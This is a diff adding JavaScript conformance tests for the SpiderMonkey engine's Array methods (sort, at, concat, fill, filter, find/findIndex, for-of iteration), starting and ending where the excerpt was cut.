+var testarr1 = new Array();
+clone( array, testarr1 );
+testarr1.sort( comparefn1 );
+
+var testarr2 = new Array();
+clone( array, testarr2 );
+testarr2.sort( comparefn2 );
+
+testarr3 = new Array();
+clone( array, testarr3 );
+testarr3.sort( comparefn3 );
+
+// when there's no sort function, sort sorts by the toString value of Date.
+
+var testarr4 = new Array();
+clone( array, testarr4 );
+testarr4.sort();
+
+var realarr = new Array();
+clone( array, realarr );
+realarr.sort( realsort );
+
+var stringarr = new Array();
+clone( array, stringarr );
+stringarr.sort( stringsort );
+
+for ( var i = 0; i < array.length; i++) {
+ new TestCase(
+ "testarr1["+i+"]",
+ realarr[i],
+ testarr1[i] );
+}
+
+for ( var i=0; i < array.length; i++) {
+ new TestCase(
+ "testarr2["+i+"]",
+ realarr[i],
+ testarr2[i] );
+}
+
+for ( var i=0; i < array.length; i++) {
+ new TestCase(
+ "testarr3["+i+"]",
+ realarr[i],
+ testarr3[i] );
+}
+
+for ( var i=0; i < array.length; i++) {
+ new TestCase(
+ "testarr4["+i+"]",
+ stringarr[i].toString(),
+ testarr4[i].toString() );
+}
+
+test();
+
+function comparefn1( x, y ) {
+ return x - y;
+}
+function comparefn2( x, y ) {
+ return x.valueOf() - y.valueOf();
+}
+function realsort( x, y ) {
+ return ( x.valueOf() == y.valueOf() ? 0 : ( x.valueOf() > y.valueOf() ? 1 : -1 ) );
+}
+function comparefn3( x, y ) {
+ return ( x == y ? 0 : ( x > y ? 1: -1 ) );
+}
+function clone( source, target ) {
+ for (i = 0; i < source.length; i++ ) {
+ target[i] = source[i];
+ }
+}
+function stringsort( x, y ) {
+ for ( var i = 0; i < x.toString().length; i++ ) {
+ var d = (x.toString()).charCodeAt(i) - (y.toString()).charCodeAt(i);
+ if ( d > 0 ) {
+ return 1;
+ } else {
+ if ( d < 0 ) {
+ return -1;
+ } else {
+ continue;
+ }
+ }
+
+ var d = x.length - y.length;
+
+ if ( d > 0 ) {
+ return 1;
+ } else {
+ if ( d < 0 ) {
+ return -1;
+ }
+ }
+ }
+ return 0;
+}
diff --git a/js/src/tests/non262/Array/array-001.js b/js/src/tests/non262/Array/array-001.js
new file mode 100644
index 0000000000..4ddf15e604
--- /dev/null
+++ b/js/src/tests/non262/Array/array-001.js
@@ -0,0 +1,85 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 24 September 2001
+ *
+ * SUMMARY: Truncating arrays that have decimal property names.
+ * From correspondence with Igor Bukanov <igor@icesoft.no>:
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Truncating arrays that have decimal property names';
+var BIG_INDEX = 4294967290;
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+var arr = Array(BIG_INDEX);
+arr[BIG_INDEX - 1] = 'a';
+arr[BIG_INDEX - 10000] = 'b';
+arr[BIG_INDEX - 0.5] = 'c'; // not an array index - but a valid property name
+// Truncate the array -
+arr.length = BIG_INDEX - 5000;
+
+
+// Enumerate its properties with for..in
+var s = '';
+for (var i in arr)
+{
+ s += arr[i];
+}
+
+
+/*
+ * We expect s == 'cb' or 'bc' (EcmaScript does not fix the order).
+ * Note 'c' is included: for..in includes ALL enumerable properties,
+ * not just array-index properties. The bug was: Rhino gave s == ''.
+ */
+status = inSection(1);
+actual = sortThis(s);
+expect = 'bc';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function sortThis(str)
+{
+ var chars = str.split('');
+ chars = chars.sort();
+ return chars.join('');
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Array/array-length-set-during-for-in.js b/js/src/tests/non262/Array/array-length-set-during-for-in.js
new file mode 100644
index 0000000000..83d476f7f9
--- /dev/null
+++ b/js/src/tests/non262/Array/array-length-set-during-for-in.js
@@ -0,0 +1,10 @@
+var a = [0, 1];
+var iterations = 0;
+for (var k in a) {
+ iterations++;
+ a.length = 1;
+}
+assertEq(iterations, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/array-length-set-on-nonarray.js b/js/src/tests/non262/Array/array-length-set-on-nonarray.js
new file mode 100644
index 0000000000..bc47c74777
--- /dev/null
+++ b/js/src/tests/non262/Array/array-length-set-on-nonarray.js
@@ -0,0 +1,26 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 548671;
+var summary =
+ "Don't use a shared-permanent inherited property to implement " +
+ "[].length or (function(){}).length";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var a = [];
+a.p = 1;
+var x = Object.create(a);
+assertEq(x.length, 0);
+assertEq(x.p, 1);
+assertEq(a.length, 0);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Array/at.js b/js/src/tests/non262/Array/at.js
new file mode 100644
index 0000000000..0e7ca9cb14
--- /dev/null
+++ b/js/src/tests/non262/Array/at.js
@@ -0,0 +1,41 @@
+// |reftest| skip-if(!Array.prototype.at)
+
+function basic() {
+ assertEq([0].at(0), 0);
+ assertEq([0].at(-1), 0);
+
+ assertEq([].at(0), undefined);
+ assertEq([].at(-1), undefined);
+ assertEq([].at(1), undefined);
+
+ assertEq([0, 1].at(0), 0);
+ assertEq([0, 1].at(1), 1);
+ assertEq([0, 1].at(-2), 0);
+ assertEq([0, 1].at(-1), 1);
+
+ assertEq([0, 1].at(2), undefined);
+ assertEq([0, 1].at(-3), undefined);
+ assertEq([0, 1].at(-4), undefined);
+ assertEq([0, 1].at(Infinity), undefined);
+ assertEq([0, 1].at(-Infinity), undefined);
+ assertEq([0, 1].at(NaN), 0); // ToInteger(NaN) = 0
+}
+
+function obj() {
+ var o = {length: 0, [0]: "a", at: Array.prototype.at};
+
+ assertEq(o.at(0), undefined);
+ assertEq(o.at(-1), undefined);
+
+ o.length = 1;
+ assertEq(o.at(0), "a");
+ assertEq(o.at(-1), "a");
+ assertEq(o.at(1), undefined);
+ assertEq(o.at(-2), undefined);
+}
+
+basic();
+obj();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/browser.js b/js/src/tests/non262/Array/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Array/browser.js
diff --git a/js/src/tests/non262/Array/concat-proxy.js b/js/src/tests/non262/Array/concat-proxy.js
new file mode 100644
index 0000000000..ab733e2f10
--- /dev/null
+++ b/js/src/tests/non262/Array/concat-proxy.js
@@ -0,0 +1,25 @@
+var BUGNUMBER = 1287520;
+var summary = 'Array.prototype.concat should check HasProperty everytime for non-dense array';
+
+print(BUGNUMBER + ": " + summary);
+
+var a = [1, 2, 3];
+a.constructor = {
+ [Symbol.species]: function(...args) {
+ var p = new Proxy(new Array(...args), {
+ defineProperty(target, propertyKey, receiver) {
+ if (propertyKey === "0") delete a[1];
+ return Reflect.defineProperty(target, propertyKey, receiver);
+ }
+ });
+ return p;
+ }
+};
+
+var p = a.concat();
+assertEq(0 in p, true);
+assertEq(1 in p, false);
+assertEq(2 in p, true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/concat-spreadable-basic.js b/js/src/tests/non262/Array/concat-spreadable-basic.js
new file mode 100644
index 0000000000..c13f8f5cd3
--- /dev/null
+++ b/js/src/tests/non262/Array/concat-spreadable-basic.js
@@ -0,0 +1,37 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+"use strict";
+
+const x = Object.freeze([1, 2, 3]);
+
+let fakeArray = {
+ [Symbol.isConcatSpreadable]: true,
+ length: 2,
+ 0: "hello",
+ 1: "world"
+}
+assertDeepEq(x.concat(fakeArray), [1, 2, 3, "hello", "world"]);
+assertDeepEq(x.concat(fakeArray, fakeArray), [1, 2, 3, "hello", "world", "hello", "world"]);
+
+for (let truthy of [true, 3.41, "abc", Symbol(), {}]) {
+ let obj = {[Symbol.isConcatSpreadable]: truthy, length: 1, 0: "hey"}
+ assertDeepEq(x.concat(obj), [1, 2, 3, "hey"]);
+}
+
+for (let notTruthy of [null, undefined, false, 0, NaN, ""]) {
+ let obj = {[Symbol.isConcatSpreadable]: notTruthy, length: 1, 0: "hey"}
+ assertDeepEq(x.concat(obj), [1, 2, 3, obj]);
+}
+
+let array = [5, 4];
+assertDeepEq(x.concat(array), [1, 2, 3, 5, 4]);
+
+// Can make arrays non-spreadable
+array[Symbol.isConcatSpreadable] = false;
+assertDeepEq(x.concat(array), [1, 2, 3, [5, 4]]);
+
+// Explicitly spreadable
+array[Symbol.isConcatSpreadable] = true;
+assertDeepEq(x.concat(array), [1, 2, 3, 5, 4]);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/concat-spreadable-primitive.js b/js/src/tests/non262/Array/concat-spreadable-primitive.js
new file mode 100644
index 0000000000..d2264bfa2a
--- /dev/null
+++ b/js/src/tests/non262/Array/concat-spreadable-primitive.js
@@ -0,0 +1,34 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+"use strict";
+
+// Primitive values should never be tried to spread
+let primitives = [
+ 10,
+ false,
+ Symbol()
+ // Can't change String.prototype.length
+];
+
+for (let value of primitives) {
+ let prototype = Object.getPrototypeOf(value);
+ prototype[Symbol.isConcatSpreadable] = true;
+
+ Object.defineProperty(prototype, "length", {
+ configurable: true,
+ get() {
+ // Should never invoke length getter
+ assertEq(true, false);
+ },
+ });
+
+ let x = [1, 2].concat(value);
+ assertDeepEq(x, [1, 2, value]);
+
+ delete prototype[Symbol.isConcatSpreadable];
+ delete prototype.length;
+
+ prototype.length;
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/fill.js b/js/src/tests/non262/Array/fill.js
new file mode 100644
index 0000000000..70f1e0b522
--- /dev/null
+++ b/js/src/tests/non262/Array/fill.js
@@ -0,0 +1,97 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 911147;
+var summary = 'Array.prototype.fill';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(typeof [].fill, 'function');
+assertEq([].fill.length, 1);
+
+// Default values for arguments and absolute values for negative start and end
+// arguments are resolved correctly.
+assertDeepEq([].fill(1), []);
+assertDeepEq([1,1,1].fill(2), [2,2,2]);
+assertDeepEq([1,1,1].fill(2, 1), [1,2,2]);
+assertDeepEq([1,1,1].fill(2, 1, 2), [1,2,1]);
+assertDeepEq([1,1,1].fill(2, -2), [1,2,2]);
+assertDeepEq([1,1,1].fill(2, -2, -1), [1,2,1]);
+assertDeepEq([1,1,1].fill(2, undefined), [2,2,2]);
+assertDeepEq([1,1,1].fill(2, undefined, undefined), [2,2,2]);
+assertDeepEq([1,1,1].fill(2, 1, undefined), [1,2,2]);
+assertDeepEq([1,1,1].fill(2, undefined, 1), [2,1,1]);
+assertDeepEq([1,1,1].fill(2, 2, 1), [1,1,1]);
+assertDeepEq([1,1,1].fill(2, -1, 1), [1,1,1]);
+assertDeepEq([1,1,1].fill(2, -2, 1), [1,1,1]);
+assertDeepEq([1,1,1].fill(2, 1, -2), [1,1,1]);
+assertDeepEq([1,1,1].fill(2, 0.1), [2,2,2]);
+assertDeepEq([1,1,1].fill(2, 0.9), [2,2,2]);
+assertDeepEq([1,1,1].fill(2, 1.1), [1,2,2]);
+assertDeepEq([1,1,1].fill(2, 0.1, 0.9), [1,1,1]);
+assertDeepEq([1,1,1].fill(2, 0.1, 1.9), [2,1,1]);
+assertDeepEq([1,1,1].fill(2, 0.1, 1.9), [2,1,1]);
+assertDeepEq([1,1,1].fill(2, -0), [2,2,2]);
+assertDeepEq([1,1,1].fill(2, 0, -0), [1,1,1]);
+assertDeepEq([1,1,1].fill(2, NaN), [2,2,2]);
+assertDeepEq([1,1,1].fill(2, 0, NaN), [1,1,1]);
+assertDeepEq([1,1,1].fill(2, false), [2,2,2]);
+assertDeepEq([1,1,1].fill(2, true), [1,2,2]);
+assertDeepEq([1,1,1].fill(2, "0"), [2,2,2]);
+assertDeepEq([1,1,1].fill(2, "1"), [1,2,2]);
+assertDeepEq([1,1,1].fill(2, "-2"), [1,2,2]);
+assertDeepEq([1,1,1].fill(2, "-2", "-1"), [1,2,1]);
+assertDeepEq([1,1,1].fill(2, {valueOf: ()=>1}), [1,2,2]);
+assertDeepEq([1,1,1].fill(2, 0, {valueOf: ()=>1}), [2,1,1]);
+
+// fill works generically for objects, too.
+assertDeepEq([].fill.call({length: 2}, 2), {0: 2, 1: 2, length: 2});
+
+var setterCalled = false;
+var objWithSetter = {set "0"(val) { setterCalled = true}, length: 1};
+[].fill.call(objWithSetter, 2);
+assertEq(setterCalled, true);
+
+var setHandlerCallCount = 0;
+var proxy = new Proxy({length: 3}, {set(t, i, v, r) { setHandlerCallCount++; return true; }});
+[].fill.call(proxy, 2);
+assertEq(setHandlerCallCount, 3);
+
+var valueOfCallCount = 0;
+var typedArray = new Uint8ClampedArray(3);
+[].fill.call(typedArray, {valueOf: function() {valueOfCallCount++; return 2000;}});
+assertEq(valueOfCallCount, 3);
+assertEq(typedArray[0], 0xff);
+
+// All remaining cases should throw.
+var objWithGetterOnly = {get "0"() {return 1;}, length: 1};
+
+var objWithReadOnlyProp = {length: 1};
+Object.defineProperty(objWithReadOnlyProp, 0, {value: 1, writable: false});
+
+var objWithNonconfigurableProp = {length: 1};
+Object.defineProperty(objWithNonconfigurableProp, 0, {value: 1, configurable: false});
+
+var frozenObj = {length: 1};
+Object.freeze(frozenObj);
+
+var frozenArray = [1, 1, 1];
+Object.freeze(frozenArray);
+
+assertThrowsInstanceOf(() => [].fill.call(objWithGetterOnly, 2), TypeError);
+assertThrowsInstanceOf(() => [].fill.call(objWithReadOnlyProp, 2), TypeError);
+assertThrowsInstanceOf(() => [].fill.call(objWithNonconfigurableProp, 2), TypeError);
+assertThrowsInstanceOf(() => [].fill.call(frozenObj, 2), TypeError);
+assertThrowsInstanceOf(() => [].fill.call(frozenArray, 2), TypeError);
+assertThrowsInstanceOf(() => [].fill.call("111", 2), TypeError);
+assertThrowsInstanceOf(() => [].fill.call(null, 2), TypeError);
+assertThrowsInstanceOf(() => [].fill.call(undefined, 2), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/filter.js b/js/src/tests/non262/Array/filter.js
new file mode 100644
index 0000000000..6cb9290147
--- /dev/null
+++ b/js/src/tests/non262/Array/filter.js
@@ -0,0 +1,53 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "364603";
+var summary = "The value placed in a filtered array for an element is the " +
+ " element's value before the callback is run, not after";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+function mutate(val, index, arr)
+{
+ arr[index] = "mutated";
+ return true;
+}
+
+function assertEqual(v1, v2, msg)
+{
+ if (v1 !== v2)
+ throw msg;
+}
+
+try
+{
+ var a = [1, 2];
+ var m = a.filter(mutate);
+
+ assertEqual(a[0], "mutated", "Array a not mutated!");
+ assertEqual(a[1], "mutated", "Array a not mutated!");
+
+ assertEqual(m[0], 1, "Filtered value is value before callback is run");
+ assertEqual(m[1], 2, "Filtered value is value before callback is run");
+}
+catch (e)
+{
+ failed = e;
+}
+
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Array/find_findindex.js b/js/src/tests/non262/Array/find_findindex.js
new file mode 100644
index 0000000000..6e32ea6b05
--- /dev/null
+++ b/js/src/tests/non262/Array/find_findindex.js
@@ -0,0 +1,285 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 885553;
+var summary = 'Array.prototype.find and Array.prototype.findIndex';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function isString(v, index, array)
+{
+ assertEq(array[index], v);
+ return typeof v == 'string';
+}
+
+function dumpError(e)
+{
+ var s = e.name + ': ' + e.message +
+ ' File: ' + e.fileName +
+ ', Line: ' + e.lineNumber +
+ ', Stack: ' + e.stack;
+ return s;
+}
+
+var expect;
+var actual;
+var obj;
+
+var strings = ['hello', 'Array', 'WORLD'];
+var mixed = [0, '1', 2];
+var sparsestrings = new Array();
+sparsestrings[2] = 'sparse';
+var arraylike = {0:0, 1:'string', 2:2, length:3};
+// array for which JSObject::isIndexed() holds.
+var indexedArray = [];
+Object.defineProperty(indexedArray, 42, { get: function() { return 42; } });
+Object.defineProperty(indexedArray, 142, { get: function() { return 'string'; } });
+
+// find and findIndex have 1 required argument
+
+expect = 1;
+actual = Array.prototype.find.length;
+reportCompare(expect, actual, 'Array.prototype.find.length == 1');
+actual = Array.prototype.findIndex.length;
+reportCompare(expect, actual, 'Array.prototype.findIndex.length == 1');
+
+// throw TypeError if no predicate specified
+expect = 'TypeError';
+try
+{
+ strings.find();
+ actual = 'no error';
+}
+catch(e)
+{
+ actual = e.name;
+}
+reportCompare(expect, actual, 'Array.find(undefined) throws TypeError');
+try
+{
+ strings.findIndex();
+ actual = 'no error';
+}
+catch(e)
+{
+ actual = e.name;
+}
+reportCompare(expect, actual, 'Array.findIndex(undefined) throws TypeError');
+
+// Length gets treated as integer, not uint32
+obj = { length: -4294967295, 0: 42 };
+expected = undefined;
+actual = Array.prototype.find.call(obj, () => true);
+reportCompare(expected, actual, 'find correctly treats "length" as an integer');
+expected = -1
+actual = Array.prototype.findIndex.call(obj, () => true);
+reportCompare(expected, actual, 'findIndex correctly treats "length" as an integer');
+
+// test find and findIndex results
+try
+{
+ expect = 'hello';
+ actual = strings.find(isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'strings: find finds first string element');
+
+try
+{
+ expect = 0;
+ actual = strings.findIndex(isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'strings: findIndex finds first string element');
+
+try
+{
+ expect = '1';
+ actual = mixed.find(isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'mixed: find finds first string element');
+
+try
+{
+ expect = 1;
+ actual = mixed.findIndex(isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'mixed: findIndex finds first string element');
+
+try
+{
+ expect = 'sparse';
+ actual = sparsestrings.find(isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'sparsestrings: find finds first string element');
+
+try
+{
+ expect = 2;
+ actual = sparsestrings.findIndex(isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'sparsestrings: findIndex finds first string element');
+
+try
+{
+ expect = 'string';
+ actual = [].find.call(arraylike, isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'arraylike: find finds first string element');
+
+try
+{
+ expect = 1;
+ actual = [].findIndex.call(arraylike, isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'arraylike: findIndex finds first string element');
+
+try
+{
+ expect = 1;
+ actual = 0;
+ Array.prototype.find.call({get 0(){ actual++ }, length: 1}, ()=>true);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'arraylike with getter: getter only called once');
+
+try
+{
+ expect = 'string';
+ actual = [].find.call(indexedArray, isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'indexedArray: find finds first string element');
+
+try
+{
+ expect = 142;
+ actual = [].findIndex.call(indexedArray, isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'indexedArray: findIndex finds first string element');
+
+// Bug 1058394 - Array#find and Array#findIndex no longer skip holes
+var sparseArray = [,,1];
+var sparseArrayWithInheritedDataProperty = Object.setPrototypeOf([,,1], {
+ __proto__: [].__proto__,
+ 0 : 0
+});
+var sparseArrayWithInheritedAccessorProperty = Object.setPrototypeOf([,,1], {
+ __proto__: [].__proto__,
+ get 0(){
+ throw "get 0";
+ }
+});
+
+try
+{
+ expect = undefined;
+ actual = sparseArray.find(() => true);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, "Don't skip holes in Array#find.");
+
+try
+{
+ expect = 0;
+ actual = sparseArray.findIndex(() => true);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, "Don't skip holes in Array#findIndex.");
+
+try
+{
+ expect = 0;
+ actual = sparseArrayWithInheritedDataProperty.find(v => v === 0);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, "Array#find can find inherited data property.");
+
+try
+{
+ expect = 0;
+ actual = sparseArrayWithInheritedDataProperty.findIndex(v => v === 0);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, "Array#findIndex can find inherited data property.");
+
+try
+{
+ expect = "get 0";
+ actual = sparseArrayWithInheritedAccessorProperty.find(() => true);
+}
+catch(e)
+{
+ actual = e;
+}
+reportCompare(expect, actual, "Array#find can find inherited accessor property.");
+
+try
+{
+ expect = "get 0";
+ actual = sparseArrayWithInheritedAccessorProperty.findIndex(() => true);
+}
+catch(e)
+{
+ actual = e;
+}
+reportCompare(expect, actual, "Array#findIndex can find inherited accessor property.");
diff --git a/js/src/tests/non262/Array/for_of_1.js b/js/src/tests/non262/Array/for_of_1.js
new file mode 100644
index 0000000000..0233c1d278
--- /dev/null
+++ b/js/src/tests/non262/Array/for_of_1.js
@@ -0,0 +1,138 @@
+// Test corner cases of for-of iteration over Arrays.
+// The current SetObject::construct method uses a ForOfIterator to extract
+// values from the array, so we use that mechanism to test ForOfIterator here.
+
+// Test the properties and prototype of a generator object.
+function TestManySmallArrays() {
+ function doIter(f, arr) {
+ return f(...new Set(arr));
+ }
+
+ function fun(a, b, c) {
+ var result = 0;
+ for (var i = 0; i < arguments.length; i++)
+ result += arguments[i];
+ return result;
+ }
+
+
+ var TRUE_SUM = 0;
+ var N = 100;
+ var M = 3;
+ var sum = 0;
+ for (var i = 0; i < N; i++) {
+ var arr = new Array(M);
+ for (var j = 0; j < M; j++) {
+ arr[j] = j;
+ TRUE_SUM += j;
+ }
+ sum += doIter(fun, arr);
+ }
+ assertEq(sum, TRUE_SUM);
+}
+TestManySmallArrays();
+
+// Test the properties and prototype of a generator object.
+function TestSingleSmallArray() {
+ function doIter(f, arr) {
+ return f(...new Set(arr));
+ }
+
+ function fun(a, b, c) {
+ var result = 0;
+ for (var i = 0; i < arguments.length; i++)
+ result += arguments[i];
+ return result;
+ }
+
+
+ var TRUE_SUM = 0;
+ var N = 100;
+ var M = 3;
+ var arr = new Array(M);
+ for (var j = 0; j < M; j++) {
+ arr[j] = j;
+ TRUE_SUM += j;
+ }
+ TRUE_SUM *= N;
+
+ var sum = 0;
+ for (var i = 0; i < N; i++) {
+ sum += doIter(fun, arr);
+ }
+ assertEq(sum, TRUE_SUM);
+}
+TestSingleSmallArray();
+
+
+function TestChangeArrayPrototype() {
+ function doIter(f, arr) {
+ return f(...new Set(arr));
+ }
+
+ function fun(a, b, c) {
+ var result = 0;
+ for (var i = 0; i < arguments.length; i++)
+ result += arguments[i];
+ return result;
+ }
+
+ var Proto1 = Object.create(Array.prototype);
+
+ var TRUE_SUM = 0;
+ var N = 100;
+ var MID = N/2;
+ var M = 3;
+ var arr = new Array(M);
+ var ARR_SUM = 0;
+ for (var j = 0; j < M; j++) {
+ arr[j] = j;
+ ARR_SUM += j;
+ }
+
+ var sum = 0;
+ for (var i = 0; i < N; i++) {
+ sum += doIter(fun, arr);
+ if (i == MID)
+ arr.__proto__ = Proto1;
+ TRUE_SUM += ARR_SUM;
+ }
+ assertEq(sum, TRUE_SUM);
+}
+TestChangeArrayPrototype();
+
+
+function TestChangeManyArrayShape() {
+ function doIter(f, arr) {
+ return f(...new Set(arr));
+ }
+
+ function fun(a, b, c) {
+ var result = 0;
+ for (var i = 0; i < arguments.length; i++)
+ result += arguments[i];
+ return result;
+ }
+
+ var TRUE_SUM = 0;
+ var N = 100;
+ var MID = N/2;
+ var M = 3;
+ var sum = 0;
+ for (var i = 0; i < N; i++) {
+ var arr = new Array(M);
+ var ARR_SUM = 0;
+ for (var j = 0; j < M; j++) {
+ arr[j] = j;
+ ARR_SUM += j;
+ }
+ arr['v_' + i] = i;
+ sum += doIter(fun, arr);
+ TRUE_SUM += ARR_SUM;
+ }
+ assertEq(sum, TRUE_SUM);
+}
+TestChangeManyArrayShape();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/for_of_2.js b/js/src/tests/non262/Array/for_of_2.js
new file mode 100644
index 0000000000..1d5dd81fc6
--- /dev/null
+++ b/js/src/tests/non262/Array/for_of_2.js
@@ -0,0 +1,58 @@
+// Test corner cases of for-of iteration over Arrays.
+// The current SetObject::construct method uses a ForOfIterator to extract
+// values from the array, so we use that mechanism to test ForOfIterator here.
+
+//
+// Check case where ArrayIterator.prototype.next changes in the middle of iteration.
+//
+function TestChangeArrayIteratorNext() {
+ function doIter(f, arr) {
+ return f(...new Set(arr));
+ }
+
+ function fun(a, b, c) {
+ var result = 0;
+ for (var i = 0; i < arguments.length; i++)
+ result += arguments[i];
+ return result;
+ }
+
+ var GET_COUNT = 0;
+ function getter() {
+ GET_COUNT++;
+ if (GET_COUNT == MID)
+ iterProto.next = NewNext;
+ return M2;
+ }
+
+ var iter = ([])[Symbol.iterator]();
+ var iterProto = Object.getPrototypeOf(iter);
+ var OldNext = iterProto.next;
+ var NewNext = function () {
+ return OldNext.apply(this, arguments);
+ };
+
+ var TRUE_SUM = 0;
+ var N = 100;
+ var MID = N/2;
+ var M = 3;
+ var arr = new Array(M);
+ var ARR_SUM = 0;
+ for (var j = 0; j < M; j++) {
+ arr[j] = j;
+ ARR_SUM += j;
+ }
+ var M2 = (M/2)|0;
+ Object.defineProperty(arr, M2, {'get':getter});
+
+ var sum = 0;
+ for (var i = 0; i < N; i++) {
+ sum += doIter(fun, arr);
+ TRUE_SUM += ARR_SUM;
+ }
+ assertEq(sum, TRUE_SUM);
+}
+TestChangeArrayIteratorNext();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/for_of_3.js b/js/src/tests/non262/Array/for_of_3.js
new file mode 100644
index 0000000000..c90eb1f000
--- /dev/null
+++ b/js/src/tests/non262/Array/for_of_3.js
@@ -0,0 +1,60 @@
+// Test corner cases of for-of iteration over Arrays.
+// The current SetObject::construct method uses a ForOfIterator to extract
+// values from the array, so we use that mechanism to test ForOfIterator here.
+
+//
+// Check array length increases changes during iteration.
+//
+function TestIncreaseArrayLength() {
+ function doIter(f, arr) {
+ return f(...new Set(arr));
+ }
+
+ function fun(a, b, c) {
+ var result = 0;
+ for (var i = 0; i < arguments.length; i++)
+ result += arguments[i];
+ return result;
+ }
+
+ var GET_COUNT = 0;
+ function getter() {
+ GET_COUNT++;
+ if (GET_COUNT == MID) {
+ ARR_SUM += arr.length;
+ arr.push(arr.length);
+ }
+ return M2;
+ }
+
+ var iter = ([])[Symbol.iterator]();
+ var iterProto = Object.getPrototypeOf(iter);
+ var OldNext = iterProto.next;
+ var NewNext = function () {
+ return OldNext.apply(this, arguments);
+ };
+
+ var TRUE_SUM = 0;
+ var N = 100;
+ var MID = N/2;
+ var M = 3;
+ var arr = new Array(M);
+ var ARR_SUM = 0;
+ for (var j = 0; j < M; j++) {
+ arr[j] = j;
+ ARR_SUM += j;
+ }
+ var M2 = (M/2)|0;
+ Object.defineProperty(arr, M2, {'get':getter});
+
+ var sum = 0;
+ for (var i = 0; i < N; i++) {
+ sum += doIter(fun, arr);
+ TRUE_SUM += ARR_SUM;
+ }
+ assertEq(sum, TRUE_SUM);
+}
+TestIncreaseArrayLength();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/for_of_4.js b/js/src/tests/non262/Array/for_of_4.js
new file mode 100644
index 0000000000..4572727a1f
--- /dev/null
+++ b/js/src/tests/non262/Array/for_of_4.js
@@ -0,0 +1,64 @@
+// Test corner cases of for-of iteration over Arrays.
